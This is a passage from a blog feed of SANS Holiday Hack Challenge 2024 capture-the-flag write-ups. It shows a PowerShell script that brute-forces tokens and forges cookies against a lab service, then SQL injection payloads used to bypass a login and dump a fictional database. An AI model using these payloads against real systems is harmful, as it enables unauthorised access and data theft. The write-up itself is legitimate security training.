class=&#34;keyword&#34;&gt;if&lt;/span&gt; (&lt;span class=&#34;operator&#34;&gt;-Not&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$line&lt;/span&gt;.StartsWith(&lt;span class=&#34;string&#34;&gt;&amp;quot;#&amp;quot;&lt;/span&gt;) &lt;span class=&#34;operator&#34;&gt;-and&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;-Not&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$line&lt;/span&gt;.startsWith(&lt;span class=&#34;string&#34;&gt;&amp;quot;file_MD5hash&amp;quot;&lt;/span&gt;)) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$line&lt;/span&gt; = (&lt;span class=&#34;variable&#34;&gt;$line&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;-Split&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;,&amp;quot;&lt;/span&gt;)[&lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$token_cookie&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; System.Net.Cookie&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$token_cookie&lt;/span&gt;.Name = &lt;span class=&#34;string&#34;&gt;&amp;quot;token&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$token_cookie&lt;/span&gt;.Value = &lt;span class=&#34;variable&#34;&gt;$line&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$token_cookie&lt;/span&gt;.Domain = &lt;span class=&#34;string&#34;&gt;&amp;quot;127.0.0.1&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$cookieContainer&lt;/span&gt;.Add(&lt;span class=&#34;variable&#34;&gt;$token_cookie&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$session&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; Microsoft.PowerShell.Commands.WebRequestSession &lt;span class=&#34;literal&#34;&gt;-Property&lt;/span&gt; &lt;span class=&#34;selector-tag&#34;&gt;@&lt;/span&gt;&amp;#123; Cookies = &lt;span class=&#34;variable&#34;&gt;$cookieContainer&lt;/span&gt; &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$string&lt;/span&gt; = &lt;span class=&#34;string&#34;&gt;&amp;quot;&lt;span class=&#34;variable&#34;&gt;$line&lt;/span&gt;`n&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$bytes&lt;/span&gt; = [&lt;span class=&#34;type&#34;&gt;System.Text.Encoding&lt;/span&gt;]::UTF8.GetBytes(&lt;span class=&#34;variable&#34;&gt;$string&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$sha256&lt;/span&gt; = [&lt;span class=&#34;type&#34;&gt;System.Security.Cryptography.SHA256&lt;/span&gt;]::Create()&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$hashBytes&lt;/span&gt; = &lt;span class=&#34;variable&#34;&gt;$sha256&lt;/span&gt;.ComputeHash(&lt;span class=&#34;variable&#34;&gt;$bytes&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$hashString&lt;/span&gt; = &lt;span class=&#34;operator&#34;&gt;-join&lt;/span&gt; (&lt;span class=&#34;variable&#34;&gt;$hashBytes&lt;/span&gt; | &lt;span class=&#34;built_in&#34;&gt;ForEach-Object&lt;/span&gt; &amp;#123; &lt;span class=&#34;variable&#34;&gt;$_&lt;/span&gt;.ToString(&lt;span class=&#34;string&#34;&gt;&amp;quot;x2&amp;quot;&lt;/span&gt;) &amp;#125;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$response&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;Invoke-WebRequest&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Uri&lt;/span&gt; http://&lt;span class=&#34;number&#34;&gt;127.0&lt;/span&gt;.&lt;span class=&#34;number&#34;&gt;0.1&lt;/span&gt;:&lt;span class=&#34;number&#34;&gt;1225&lt;/span&gt;/tokens/&lt;span class=&#34;variable&#34;&gt;$hashString&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Credential&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$creds&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-AllowUnencryptedAuthentication&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-WebSession&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$session&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        (&lt;span class=&#34;variable&#34;&gt;$response&lt;/span&gt;.Content &lt;span class=&#34;operator&#34;&gt;-match&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;href=&amp;#x27;([^&amp;#x27;]+)&amp;#x27;&amp;quot;&lt;/span&gt;) | &lt;span class=&#34;built_in&#34;&gt;Out-Null&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$mfaCode&lt;/span&gt; = &lt;span class=&#34;variable&#34;&gt;$matches&lt;/span&gt;[&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$mfaCookie&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; System.Net.Cookie&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$mfaCookie&lt;/span&gt;.Name = &lt;span class=&#34;string&#34;&gt;&amp;quot;mfa_token&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$mfaCookie&lt;/span&gt;.Value = &lt;span class=&#34;string&#34;&gt;&amp;quot;&lt;span class=&#34;variable&#34;&gt;$mfaCode&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$mfaCookie&lt;/span&gt;.Domain = &lt;span class=&#34;string&#34;&gt;&amp;quot;127.0.0.1&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$cookieContainer&lt;/span&gt;.Add(&lt;span class=&#34;variable&#34;&gt;$mfaCookie&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$validateUrl&lt;/span&gt; = &lt;span class=&#34;string&#34;&gt;&amp;quot;http://127.0.0.1:1225/mfa_validate/&lt;span class=&#34;variable&#34;&gt;$hashString&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;variable&#34;&gt;$response&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;Invoke-WebRequest&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Uri&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$validateUrl&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-WebSession&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$session&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Credential&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$creds&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-AllowUnencryptedAuthentication&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; (&lt;span class=&#34;operator&#34;&gt;-Not&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$response&lt;/span&gt;.Content.Contains(&lt;span class=&#34;string&#34;&gt;&amp;quot;ERROR&amp;quot;&lt;/span&gt;)) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;            &lt;span class=&#34;built_in&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;&lt;span class=&#34;variable&#34;&gt;$response&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight html&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;h1&lt;/span&gt;&amp;gt;&lt;/span&gt;[*] Setting cookie attempts&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;h1&lt;/span&gt;&amp;gt;&lt;/span&gt;                                                           &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;h1&lt;/span&gt;&amp;gt;&lt;/span&gt;[+] Success, defense mechanisms deactivated.&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;h1&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;Administrator Token supplied, You are able to control the production and deployment of the snow cannons. May the best elves win: WombleysProductionLineShallPrevail&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;p&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;h1&lt;/span&gt;&amp;gt;&lt;/span&gt;[+] Success&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;h1&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;p&lt;/span&gt;&amp;gt;&lt;/span&gt;Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg==&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;p&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;h1&lt;/span&gt;&amp;gt;&lt;/span&gt;[!] System currently in lock down&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;h1&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;h1&lt;/span&gt;&amp;gt;&lt;/span&gt;[!] Failure, token has expired. [*] Default timeout set to 2s for security reasons&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;h1&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;h2 id=&#34;Just-don’t&#34;&gt;&lt;a href=&#34;#Just-don’t&#34; class=&#34;headerlink&#34; title=&#34;Just don’t&#34;&gt;&lt;/a&gt;Just don’t&lt;/h2&gt;&lt;p&gt;I will not even discuss how painful it has been to write the code for this challenge.&lt;br&gt;&lt;a href=&#34;https://www.reddit.com/r/linuxmemes/comments/8dnw9z/how_i_feel_about_powershell_right_now/&#34;&gt;&lt;img src=&#34;/2024/12/02/2024-09-PowerShell/09_99_powershell_just_dont.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="act2" />
        <category term="PowerShell" />
        <category term="Piney Sappington" />
        <updated>2024-12-02T09:00:00.000Z</updated>
    </entry>
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2024/12/02/2024-08-Drone-Path/</id>
        <title>Drone Path</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2024/12/02/2024-08-Drone-Path/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄ ❄ ❄&lt;/span&gt; ❄ ❄&lt;br&gt;Help the elf defecting from Team Wombley get invaluable, top secret intel to Team Alabaster. Find Chimney Scissorsticks, who is hiding inside the DMZ.&lt;/p&gt;
&lt;h2 id=&#34;Silver-trophy&#34;&gt;&lt;a href=&#34;#Silver-trophy&#34; class=&#34;headerlink&#34; title=&#34;Silver trophy&#34;&gt;&lt;/a&gt;Silver trophy&lt;/h2&gt;&lt;h3 id=&#34;fritjolf-Path-kml&#34;&gt;&lt;a href=&#34;#fritjolf-Path-kml&#34; class=&#34;headerlink&#34; title=&#34;fritjolf-Path.kml&#34;&gt;&lt;/a&gt;&lt;code&gt;fritjolf-Path.kml&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;As a first thing I downloaded the file &lt;a href=&#34;https://hhc24-dronepath.holidayhackchallenge.com/files/fritjolf-Path.kml&#34;&gt;&lt;code&gt;fritjolf-Path.kml&lt;/code&gt;&lt;/a&gt; and imported it in Google Earth obtaining a nice picture but no useful clue:&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-08-Drone-Path/08_01_DronePath_gumdrop1.png&#34;&gt;  &lt;/p&gt;
&lt;h3 id=&#34;Bypassing-the-login-and-dumping-the-DB&#34;&gt;&lt;a href=&#34;#Bypassing-the-login-and-dumping-the-DB&#34; class=&#34;headerlink&#34; title=&#34;Bypassing the login and dumping the DB&#34;&gt;&lt;/a&gt;Bypassing the login and dumping the DB&lt;/h3&gt;&lt;p&gt;I successfully bypassed the login with the most classic of the SQL Injections &lt;code&gt;&amp;#39; OR 1=1 --&lt;/code&gt;:&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-08-Drone-Path/08_02_DronePath_login_sqli.png&#34;&gt;  &lt;/p&gt;
&lt;p&gt;The same flaw works on the search function of the Elf Drone Workshop:&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-08-Drone-Path/08_03_DronePath_workshop_sqli.png&#34;&gt;  &lt;/p&gt;
&lt;p&gt;Testing with &lt;code&gt;UNION&lt;/code&gt;, I determined the correct number of columns and extracted the DB version with &lt;code&gt;&amp;#39; UNION SELECT sqlite_version(),2,3 --&lt;/code&gt;:&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-08-Drone-Path/08_04_DronePath_workshop_union.png&#34;&gt;  &lt;/p&gt;
&lt;p&gt;I then extracted the DB schema using &lt;code&gt;&amp;#39;UNION SELECT sql,2,3 FROM sqlite_master--&lt;/code&gt;:  &lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;CREATE TABLE&lt;/span&gt; drone_comments(id &lt;span class=&#34;type&#34;&gt;INTEGER&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;PRIMARY KEY&lt;/span&gt; AUTOINCREMENT, drone_name TEXT, comment TEXT, &lt;span class=&#34;keyword&#34;&gt;FOREIGN KEY&lt;/span&gt;(drone_name) &lt;span class=&#34;keyword&#34;&gt;REFERENCES&lt;/span&gt; drones(name))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;CREATE TABLE&lt;/span&gt; drones(name TEXT &lt;span class=&#34;keyword&#34;&gt;PRIMARY KEY&lt;/span&gt;, quantitiy TEXT, weapons TEXT)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;CREATE TABLE&lt;/span&gt; sqlite_sequence(name,seq)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;CREATE TABLE&lt;/span&gt; users(username TEXT &lt;span class=&#34;keyword&#34;&gt;PRIMARY KEY&lt;/span&gt;, avatar TEXT, bio TEXT, password TEXT)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;Finally I dumped the DB:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;#39;UNION SELECT*FROM drones--&lt;/code&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;name&lt;/th&gt;
&lt;th&gt;quantitiy&lt;/th&gt;
&lt;th&gt;weapons&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;ELF-HAWK&lt;/td&gt;
&lt;td&gt;40&lt;/td&gt;
&lt;td&gt;Snowball-launcher&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FlyingZoomer&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Snowball-Dropper&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pigeon-Lookalike-v4&lt;/td&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;Surveillance Camera&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Zapper&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;CarrotSpike&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;#39;UNION SELECT*FROM drone_comments--&lt;/code&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;id&lt;/th&gt;
&lt;th&gt;drone_name&lt;/th&gt;
&lt;th&gt;comment&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;1032&lt;/td&gt;
&lt;td&gt;ELF-HAWK&lt;/td&gt;
&lt;td&gt;These drones will work great to find Alabasters snowball warehouses.&lt;br/&gt; I have hid the activation code in the dataset &lt;a href=&#39;https://hhc24-dronepath.holidayhackchallenge.com/files/secret/ELF-HAWK-dump.csv&#39;&gt;ELF-HAWK-dump.csv&lt;/a&gt;. We need to keep it safe, for now it’s under &amp;#x2F;files&amp;#x2F;secret.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1036&lt;/td&gt;
&lt;td&gt;ELF-HAWK&lt;/td&gt;
&lt;td&gt;We need to make sure we have enough of these drones ready for the upcoming operation. &lt;br/&gt; Well done on hiding the activation code in the dataset.&lt;br/&gt; If anyone finds it, it will take them a LONG time or forever to carve the data out, preferably the LATTER.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1033&lt;/td&gt;
&lt;td&gt;Pigeon-Lookalike-v4&lt;/td&gt;
&lt;td&gt;This is a great drone for surveillance, but we need to keep it out of the rain.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1037&lt;/td&gt;
&lt;td&gt;Pigeon-Lookalike-v4&lt;/td&gt;
&lt;td&gt;I cant believe we are using pigeons for surveillance. &lt;br/&gt; If anyone finds out, there will most likely be a conspiracy theory about it.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1038&lt;/td&gt;
&lt;td&gt;Pigeon-Lookalike-v4&lt;/td&gt;
&lt;td&gt;I heard a rumor that there is something fishing with some of the files. &lt;br/&gt;There was some talk about only TRUE carvers would find secrets and that FALSE ones would never find it.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1034&lt;/td&gt;
&lt;td&gt;FlyingZoomer&lt;/td&gt;
&lt;td&gt;This drone is perfect for dropping snowballs on unsuspecting targets.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1035&lt;/td&gt;
&lt;td&gt;Zapper&lt;/td&gt;
&lt;td&gt;This is sort of primitive, but it works!&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;#39;UNION SELECT username,avatar,bio FROM users--&lt;/code&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;username&lt;/th&gt;
&lt;th&gt;avatar&lt;/th&gt;
&lt;th&gt;bio&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;brynne&lt;/td&gt;
&lt;td&gt;&lt;img src=&#34;https://hhc24-dronepath.holidayhackchallenge.com/static/profilepictures/elf23.png&#34;&gt;&lt;/td&gt;
&lt;td&gt;Brynne is the workshops master of drone aesthetics bedazzling every flying machine with shimmering gemstones and enchanted paints.&lt;br/&gt;She believes every drone deserves a touch of flair—because who says utility ca not be stylish?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;filo&lt;/td&gt;
&lt;td&gt;&lt;img src=&#34;https://hhc24-dronepath.holidayhackchallenge.com/static/profilepictures/elf3.png&#34;&gt;&lt;/td&gt;
&lt;td&gt;Filo insists the best drones are the ones that can sneak up on you which is why he specializes in crafting silent stealthy models. &lt;br/&gt;He is always got a mischievous grin especially when his latest creation flies circles around you before you notice!&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;fritjolf&lt;/td&gt;
&lt;td&gt;&lt;img src=&#34;https://hhc24-dronepath.holidayhackchallenge.com/static/profilepictures/elf5.png&#34;&gt;&lt;/td&gt;
&lt;td&gt;Secret project is underway we need to produce as many as possible for Wombley.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;lira&lt;/td&gt;
&lt;td&gt;&lt;img src=&#34;https://hhc24-dronepath.holidayhackchallenge.com/static/profilepictures/elf17.png&#34;&gt;&lt;/td&gt;
&lt;td&gt;Liras light touch and nimble fingers can assemble a drone in the blink of an eye sometimes before you even realize she has started.&lt;br/&gt;She swears each one has a bit of her own magic which might explain why they always seem to hum a little tune.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;pip&lt;/td&gt;
&lt;td&gt;&lt;img src=&#34;https://hhc24-dronepath.holidayhackchallenge.com/static/profilepictures/2cf1d29136d246eeb42149e65358abb3.png&#34;&gt;&lt;/td&gt;
&lt;td&gt;Pip is a master of drone delivery programming routes with such precision that packages arrive exactly on the second they are expected. &lt;br/&gt;He has a large collection of flags impressive!&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sprigg&lt;/td&gt;
&lt;td&gt;&lt;img src=&#34;https://hhc24-dronepath.holidayhackchallenge.com/static/profilepictures/elf13.png&#34;&gt;&lt;/td&gt;
&lt;td&gt;Sprigg loves nothing more than the hum of a well-oiled drone and the smell of enchanted gears.&lt;br/&gt;When he is not tinkering he is dreaming up new ways to make drones faster shinier and maybe even capable of brewing tea!&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tylwen&lt;/td&gt;
&lt;td&gt;&lt;img src=&#34;https://hhc24-dronepath.holidayhackchallenge.com/static/profilepictures/elf6.png&#34;&gt;&lt;/td&gt;
&lt;td&gt;Tylwen is the drone workshops resident perfectionist spending hours polishing every cog and checking each spell-infused circuit. &lt;br/&gt;She insists that drones can be practical and pristine and she wo not let one leave her station without a flawless gleam.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;ELF-HAWK-dump-csv&#34;&gt;&lt;a href=&#34;#ELF-HAWK-dump-csv&#34; class=&#34;headerlink&#34; title=&#34;ELF-HAWK-dump.csv&#34;&gt;&lt;/a&gt;&lt;code&gt;ELF-HAWK-dump.csv&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;The &lt;a href=&#34;https://hhc24-dronepath.holidayhackchallenge.com/files/secret/ELF-HAWK-dump.csv&#34;&gt;&lt;code&gt;ELF-HAWK-dump.csv&lt;/code&gt;&lt;/a&gt;, of which I fixed the url to make it work in the above table, looks like a csv containing coordinates among the other stuff. Altering the &lt;code&gt;fritjolf-Path.kml&lt;/code&gt; file to insert these data and didn’t do the trick but importing it into Google Earth shown that something was going on and &lt;a href=&#34;https://mygeodata.cloud/&#34;&gt;MyGeodata&lt;/a&gt;] confirmed it:&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-08-Drone-Path/08_05_DronePath_elf_hawk_kml.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;After failing all attempts to make a sense out of these data, I eventually resorted to ChatGPT who suggested to use &lt;a href=&#34;https://python-visualization.github.io/folium/latest/&#34;&gt;Folium&lt;/a&gt;. I wrote a quick &lt;code&gt;python&lt;/code&gt; script leveraging on Folium:&lt;/p&gt;
&lt;figure class=&#34;highlight python&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span 